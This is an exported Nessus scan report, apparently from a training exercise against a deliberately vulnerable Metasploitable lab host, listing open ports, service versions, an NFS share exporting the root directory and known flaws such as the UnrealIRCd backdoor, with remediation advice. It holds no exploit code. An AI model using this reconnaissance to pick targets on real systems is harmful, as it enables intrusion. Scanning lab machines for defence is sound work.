Plugin Output

tcp/80/www

```
The following pages do not set a X-Frame-Options response header or set a permissive policy:

  - http://Epic-Metasploitable.epicode/
  - http://Epic-Metasploitable.epicode/dav/
  - http://Epic-Metasploitable.epicode/dav/CJUlxuON.htm/
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/css/
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/images/
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/DBMS/
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/DBMS/DBMS.php
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/DBMS/MySQL.php
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/dvwaPage.inc.php
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/dvwaPhpIds.inc.php
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/js/
  - http://Epic-Metasploitable.epicode/dvwa/login.php
  - http://Epic-Metasploitable.epicode/mutillidae/
  - http://Epic-Metasploitable.epicode/mutillidae/documentation/
```

```
  - http://Epic-Metasploitable.epicode/mutillidae/documentation/how-to-access-Mutillidae-over-
Virtual-Box-network.php
  - http://Epic-Metasploitable.epicode/mutillidae/documentation/vulnerabilities.php
  - http://Epic-Metasploitable.epicode/mutillidae/framer.html
  - http://Epic-Metasploitable.epicode/mutillidae/index.php
  - http://Epic-Metasploitable.epicode/mutillidae/set-up-database.php
  - http://Epic-Metasploitable.epicode/mutillidae/styles/
  - http://Epic-Metasploitable.epicode/mutillidae/styles/ddsmoothmenu/
  - http://Epic-Metasploitable.epicode/phpMyAdmin/
  - http://Epic-Metasploitable.epicode/phpMyAdmin/index.php
  - http://Epic-Metasploitable.epicode/test/
  - http://Epic-Metasploitable.epicode/test/testoutput/
  - http://Epic-Metasploitable.epicode/twiki/
  - http://Epic-Metasploitable.epicode/twiki/TWikiHistory.html
  - http://Epic-Metasploitable.epicode/twiki/bin/oops
  - http://Epic-Metasploitable.epicode/twiki/bin/oops/Main
  - http://Epic-Metasploitable.epicode/twiki/bin/oop [...]
```

50345 - Missing or Permissive X-Frame-Options HTTP Response Header

Synopsis

The remote web server does not take steps to mitigate a class of web application vulnerabilities.

Description

The remote web server in some responses sets a permissive X-Frame-Options response header or does not set one at all.

The X-Frame-Options header has been proposed by Microsoft as a way to mitigate clickjacking attacks and is currently supported by all major browser vendors

See Also

https://en.wikipedia.org/wiki/Clickjacking

http://www.nessus.org/u?399b1f56

Solution

Set a properly configured X-Frame-Options header for all requested resources.

Risk Factor

None

Plugin Information

Published: 2010/10/26, Modified: 2021/01/19

Plugin Output

tcp/8180/www

```
The following pages do not set a X-Frame-Options response header or set a permissive policy:

  - http://Epic-Metasploitable.epicode:8180/
  - http://Epic-Metasploitable.epicode:8180/admin/
  - http://Epic-Metasploitable.epicode:8180/admin/error.jsp
  - http://Epic-Metasploitable.epicode:8180/admin/j_security_check
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/Entries.java.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/Entry.java.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/TableBean.java.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/cal1.jsp
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/cal1.jsp.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/cal2.jsp.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/calendar.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/login.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/checkbox/CheckTest.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/checkbox/check.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/checkbox/checkresult.jsp
```

```
- http://Epic-Metasploitable.epicode:8180/jsp-examples/checkbox/checkresult.jsp.html
- http://Epic-Metasploitable.epicode:8180/jsp-examples/checkbox/cresult.html
- http://Epic-Metasploitable.epicode:8180/jsp-examples/colors/ColorGameBean.html
- http://Epic-Metasploitable.epicode:8180/jsp-examples/colors/clr.html
- http://Epic-Metasploitable.epicode:8180/jsp-examples/colors/colors.html
- http://Epic-Metasploitable.epicode:8180/jsp-examples/colors/colrs.jsp
- http://Epic-Metasploitable.epicode:8180/jsp-examples/colors/colrs.jsp.html
- http://Epic-Metasploitable.epicode:8180/jsp-examples/dates/date.html
- http://Epic-Metasploitable.epicode:8180/jsp-examples/dates/date.jsp
- http://Epic-Metasploitable.epicode:8180/jsp-examples/dates/date.jsp.html
- http://Epic-Metasploitable.epicode:8180/jsp-examples [...]
```

10719 - MySQL Server Detection

Synopsis

A database server is listening on the remote port.

Description

The remote host is running MySQL, an open source database server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0802

Plugin Information

Published: 2001/08/13, Modified: 2022/10/12

Plugin Output

tcp/3306/mysql

```
Version  : 5.0.51a-3ubuntu5
Protocol : 10
Server Status : SERVER_STATUS_AUTOCOMMIT
Server Capabilities :
  CLIENT_LONG_FLAG (Get all column flags)
  CLIENT_CONNECT_WITH_DB (One can specify db on connect)
  CLIENT_COMPRESS (Can use compression protocol)
  CLIENT_PROTOCOL_41 (New 4.1 protocol)
  CLIENT_SSL (Switch to SSL after handshake)
  CLIENT_TRANSACTIONS (Client knows about transactions)
  CLIENT_SECURE_CONNECTION (New 4.1 authentication)
```

10437 - NFS Share Export List

Synopsis

The remote NFS server exports a list of shares.

Description

This plugin retrieves the list of NFS exported shares.

See Also

http://www.tldp.org/HOWTO/NFS-HOWTO/security.html

Solution

Ensure each share is intended to be exported.

Risk Factor

None

Plugin Information

Published: 2000/06/07, Modified: 2019/10/04

Plugin Output

tcp/2049/rpc-nfs

```
Here is the export list of Epic-Metasploitable.epicode :
  / *
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/21/ftp

```
Port 21/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/22/ssh

```
Port 22/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/23/telnet

```
Port 23/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/25/smtp

```
Port 25/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/53/dns

```
Port 53/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/80/www

```
Port 80/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/111/rpc-portmapper

```
Port 111/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/139/smb

```
Port 139/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/445/cifs

```
Port 445/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/512

```
Port 512/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/513/rlogin

```
Port 513/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/514

```
Port 514/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/1099/rmi_registry

```
Port 1099/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/1524/wild_shell

```
Port 1524/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/2049/rpc-nfs

```
Port 2049/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/2121/ftp

```
Port 2121/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/3306/mysql

```
Port 3306/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/3632

```
Port 3632/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/5432/postgresql

```
Port 5432/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/5900/vnc

```
Port 5900/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/6000/x11

```
Port 6000/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/6667/irc

```
Port 6667/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/8009/ajp13

```
Port 8009/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/8180/www

```
Port 8180/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/8787

```
Port 8787/tcp was found to be open
```

19506 - Nessus Scan Information

Synopsis

This plugin displays information about the Nessus scan.

Description

This plugin displays, for each tested host, information about the scan itself :

- The version of the plugin set.
- The type of scanner (Nessus or Nessus Home).
- The version of the Nessus Engine.
- The port scanner(s) used.
- The port range scanned.
- The ping round trip time
- Whether credentialed or third-party patch management checks are possible.
- Whether the display of superseded patches is enabled
- The date of the scan.
- The duration of the scan.
- The number of hosts scanned in parallel.
- The number of checks done in parallel.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2005/08/26, Modified: 2024/12/31

Plugin Output

tcp/0

```
Information about this scan :

Nessus version : 10.8.3
Nessus build : 20010
Plugin feed version : 202502041034
Scanner edition used : Nessus Home
Scanner OS : LINUX
Scanner distribution : ubuntu1604-x86-64
Scan type : Normal
Scan name : W12D1 - Nessus -> Metasplotable
```

```
Scan policy used : Basic Network Scan
Scanner IP : 192.168.50.100
Port scanner(s) : nessus_syn_scanner
Port range : default
Ping RTT : 46.182 ms
Thorough tests : yes
Experimental tests : no
Scan for Unpatched Vulnerabilities : no
Plugin debugging enabled : no
Paranoia level : 1
Report verbosity : 2
Safe checks : yes
Optimize the test : no
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin did not launch)
CGI scanning : enabled
Web application tests : enabled
Web app tests -  Test mode : all_pairs
Web app tests -  Try all HTTP methods : yes
Web app tests -  Maximum run time : 10 minutes.
Web app tests -  Stop at first flaw : param
Max hosts : 2
Max checks : 2
Recv timeout : 15
Backports : Detected
Allow post-scan editing : Yes
Nessus Plugin Signature Checking : Enabled
Audit File Signature Checking : Disabled
Scan Start Date : 2025/2/4 15:40 CET (UTC +01:00)
Scan duration : 15252 sec
Scan for malware : no
```

11936 - OS Identification

Synopsis

It is possible to guess the remote operating system.

Description

Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP, SNMP, etc.), it is possible to guess the name of the remote operating system in use. It is also possible sometimes to guess the version of the operating system.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2003/12/09, Modified: 2024/10/14

Plugin Output

tcp/0

```
Remote operating system : Linux Kernel 2.6 on Ubuntu 8.04 (gutsy)
Confidence level : 95
Method : HTTP

Not all fingerprints could give a match. If you think that these
signatures would help us improve OS fingerprinting, please submit
them by visiting https://www.tenable.com/research/submitsignatures.

SSH:SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
ICMP::1:1:0:64:1:64:1:0:::0::1:>64:64:0:1:1:2:1:1:1:1:0:64:5792:MSTNW:7:1:1
SinFP:
   P1:B10113:F0x12:W5840:O0204ffff:M1460:
   P2:B10113:F0x12:W5792:O0204ffff0402080affffffff4445414401030307:M1460:
   P3:B00000:F0x00:W0:O0:M0
   P4:191003_7_p=2121R
SMTP:!:220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
SSLcert:!:i/CN:ubuntu804-base.localdomaini/O:OCOSAi/OU:Office for Complication of Otherwise Simple
 Affairss/CN:ubuntu804-base.localdomains/O:OCOSAs/OU:Office for Complication of Otherwise Simple
 Affairs
ed093088706603bfd5dc237399b498da2d4d31c6
i/CN:ubuntu804-base.localdomaini/O:OCOSAi/OU:Office for Complication of Otherwise Simple Affairss/
CN:ubuntu804-base.localdomains/O:OCOSAs/OU:Office for Complication of Otherwise Simple Affairs
ed093088706603bfd5dc237399b498da2d4d31c6



The remote host is running Linux Kernel 2.6 on Ubuntu 8.04 (gutsy)
```

117886 - OS Security Patch Assessment Not Available

Synopsis

OS Security Patch Assessment is not available.

Description

OS Security Patch Assessment is not available on the remote host.

This does not necessarily indicate a problem with the scan.

Credentials may not have been provided, OS security patch assessment may not be supported for the target, the target may not have been identified, or another issue may have occurred that prevented OS security patch assessment from being available. See plugin output for details.

This plugin reports non-failure information impacting the availability of OS Security Patch Assessment. Failure information is reported by plugin 21745 : 'OS Security Patch Assessment failed'. If a target host is not supported for OS Security Patch Assessment, plugin 110695 : 'OS Security Patch Assessment Checks Not Supported' will report concurrently with this plugin.

Solution

n/a

Risk Factor

None

References

XREF IAVB:0001-B-0515

Plugin Information

Published: 2018/10/02, Modified: 2021/07/12

Plugin Output

tcp/0

```
The following issues were reported :

  - Plugin      : no_local_checks_credentials.nasl
    Plugin ID   : 110723
    Plugin Name : Target Credential Status by Authentication Protocol - No Credentials Provided
    Message     :
Credentials were not provided for detected SSH service.
```

181418 - OpenSSH Detection

Synopsis

An OpenSSH-based SSH server was detected on the remote host.

Description

An OpenSSH-based SSH server was detected on the remote host.

See Also

https://www.openssh.com/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/09/14, Modified: 2025/01/21

Plugin Output

tcp/22/ssh

```
Service : ssh
Version : 4.7p1
Banner  : SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
```

50845 - OpenSSL Detection

Synopsis

The remote service appears to use OpenSSL to encrypt traffic.

Description

Based on its response to a TLS request with a specially crafted server name extension, it seems that the remote service is using the OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that have enabled support for TLS extensions (RFC 4366).

See Also

https://www.openssl.org/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/11/30, Modified: 2020/06/12

Plugin Output

tcp/25/smtp

50845 - OpenSSL Detection

Synopsis

The remote service appears to use OpenSSL to encrypt traffic.

Description

Based on its response to a TLS request with a specially crafted server name extension, it seems that the remote service is using the OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that have enabled support for TLS extensions (RFC 4366).

See Also

https://www.openssl.org/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/11/30, Modified: 2020/06/12

Plugin Output

tcp/5432/postgresql

48243 - PHP Version Detection

Synopsis

It was possible to obtain the version number of the remote PHP installation.

Description

Nessus was able to determine the version of PHP available on the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0936

Plugin Information

Published: 2010/08/04, Modified: 2025/01/31

Plugin Output

tcp/80/www

```
Nessus was able to identify the following PHP version information :

  Version : 5.2.4-2ubuntu5.10
  Source  : X-Powered-By: PHP/5.2.4-2ubuntu5.10
  Source  : http://Epic-Metasploitable.epicode/phpinfo.php
```

66334 - Patch Report

Synopsis

The remote host is missing several patches.

Description

The remote host is missing one or more security patches. This plugin lists the newest version of each patch to install to make sure the remote host is up-to-date.

Note: Because the 'Show missing patches that have been superseded' setting in your scan policy depends on this plugin, it will always run and cannot be disabled.

Solution

Install the patches listed below.

Risk Factor

None

Plugin Information

Published: 2013/07/08, Modified: 2025/01/14

Plugin Output

tcp/0

```
. You need to take the following 5 actions :


[ ISC BIND 9.x < 9.11.22, 9.12.x < 9.16.6, 9.17.x < 9.17.4 DoS (139915) ]

+ Action to take : Upgrade to BIND 9.11.22, 9.16.6, 9.17.4 or later.

+ Impact : Taking this action will resolve the following 3 different vulnerabilities :
CVE-2020-8622, CVE-2020-8617, CVE-2020-8616


[ Samba Badlock Vulnerability (90509) ]

+ Action to take : Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.


[ TWiki 'rev' Parameter Arbitrary Command Execution (19704) ]

+ Action to take : Apply the appropriate hotfix referenced in the vendor advisory.


[ UnrealIRCd Backdoor Detection (46882) ]

+ Action to take : Re-download the software, verify it using the published MD5 / SHA1 checksums, and
 re-install it.
```

```
[ phpMyAdmin prior to 4.8.6 SQLi vulnerablity (PMASA-2019-3) (125855) ]

+ Action to take : Upgrade to phpMyAdmin version 4.8.6 or later.
Alternatively, apply the patches referenced in the vendor advisories.

+ Impact : Taking this action will resolve the following 2 different vulnerabilities :
CVE-2019-11768, CVE-2010-4480
```

118224 - PostgreSQL STARTTLS Support

Synopsis

The remote service supports encrypting traffic.

Description

The remote PostgreSQL server supports the use of encryption initiated during pre-login to switch from a cleartext to an encrypted communications channel.

See Also

https://www.postgresql.org/docs/9.2/protocol-flow.html#AEN96066

https://www.postgresql.org/docs/9.2/protocol-message-formats.html

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2018/10/19, Modified: 2022/04/11

Plugin Output

tcp/5432/postgresql

```
Here is the PostgreSQL's SSL certificate that Nessus
was able to collect after sending a pre-login packet :

------------------------------ snip ------------------------------
Subject Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Issuer Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
```

```
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
            7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
            73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
            D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
            8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
            98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
            00 90 9D DC 99 0D 33 A4 B5
Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
           0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
           1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
           68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
           83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
           A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
           15 6E 8D 30 38 F6 CA 2E 75


------------------------------ snip ------------ [...]
```

26024 - PostgreSQL Server Detection

Synopsis

A database service is listening on the remote host.

Description

The remote service is a PostgreSQL database server, or a derivative such as EnterpriseDB.

See Also

https://www.postgresql.org/

Solution

Limit incoming traffic to this port if desired.

Risk Factor

None

Plugin Information

Published: 2007/09/14, Modified: 2023/05/24

Plugin Output

tcp/5432/postgresql

40665 - Protected Web Page Detection

Synopsis

Some web pages require authentication.

Description

The remote web server requires HTTP authentication for the following pages. Several authentication schemes are available :

- Basic is the simplest, but the credentials are sent in cleartext.

- NTLM provides an SSO in a Microsoft environment, but it cannot be used on both the proxy and the web server. It is also weaker than Digest.

- Digest is a cryptographically strong scheme. Credentials are never sent in cleartext, although they may still be cracked by a dictionary attack.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/08/21, Modified: 2016/10/04

Plugin Output

tcp/8180/www

```
The following pages are protected by the Basic authentication scheme :

/host-manager/html
/manager/html
/manager/status
```

22227 - RMI Registry Detection

Synopsis

An RMI registry is listening on the remote host.

Description

The remote host is running an RMI registry, which acts as a bootstrap naming service for registering and retrieving remote objects with simple names in the Java Remote Method Invocation (RMI) system.

See Also

https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/spec/rmiTOC.html

http://www.nessus.org/u?b6fd7659

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2006/08/16, Modified: 2022/06/01

Plugin Output

tcp/1099/rmi_registry
tcp/1099/rmi_registry

```
